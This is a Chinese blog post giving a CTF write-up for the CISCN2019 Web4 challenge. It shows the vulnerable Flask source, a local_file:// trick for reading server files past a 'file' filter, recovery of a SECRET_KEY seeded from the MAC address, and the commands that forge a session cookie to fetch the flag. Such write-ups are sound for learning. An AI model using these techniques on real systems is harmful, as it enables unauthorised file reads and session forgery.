[CISCN2019 华东南赛区]Web4刷题笔记

拿到题有一个参数为url的路由,用一些常见的协议尝试本地读文件要么是被过滤要么回显no response

这里学到了一个新知识,local_file://读取

根据url判断可能为flask直接读取/app/app.py源码

整理一下

# encoding:utf-8 
import re, random, uuid, urllib 
from flask import Flask, session, request 
app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True @app.route('/') 
def index(): 
    session['username'] = 'www-data' 
    return 'Hello World! Read somethings' 
@app.route('/read') 
def read(): 
    try: 
        url = request.args.get('url') 
        m = re.findall('^file.*', url, re.IGNORECASE) 
        n = re.findall('flag', url, re.IGNORECASE) 
        if m or n: 
            return 'No Hack'  //这里url参数不让以file开头,不让有flag
        res = urllib.urlopen(url) 
        return res.read() 
    except Exception as ex: 
        print str(ex) 
        return 'no response' 
@app.route('/flag') 
def flag(): 
    if session and session['username'] == 'fuck': 
        return open('/flag.txt').read() 
    else: return 'Access denied' 
if __name__=='__main__': app.run( debug=True, host="0.0.0.0" ) 

重点在flag路由,如果session['username']='fuck'就能拿到flag,那就想办法伪造session

伪造session首先要拿到secret_key,看一下secret_key的生成方式

random.seed(uuid.getnode()) //种子是uuid.getnode(),即机器的固定标识符,根据mac地址转化为十进制数
app.config['SECRET_KEY'] = str(random.random()*233) //这里有了种子就可以自己生成secret_key

读取/sys/class/net/eth0/address获取mac地址

import random

random.seed(0x0e4ce3a9071e)
print(random.random()*233)

用python2运行脚本生成key(根据源码print后不加括号判断原题是py2环境)

接下来利用flask_session_cookie_manager伪造session

python2 flask_session_cookie_manager2.py decode -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YdZsQA.3YV7psQpIvWF7UrSmJLd3p7_mUU

解密原session看一下需要伪造的形式

python2 flask_session_cookie_manager2.py encode -s 222.50970315 -t "{'username':b'fuck'}"

伪造session

携带伪造的session访问flag路由即可拿到flag

 

 

posted @ 2022-01-06 13:11  Yu_so1dier0n  阅读(198)  评论(0编辑  收藏  举报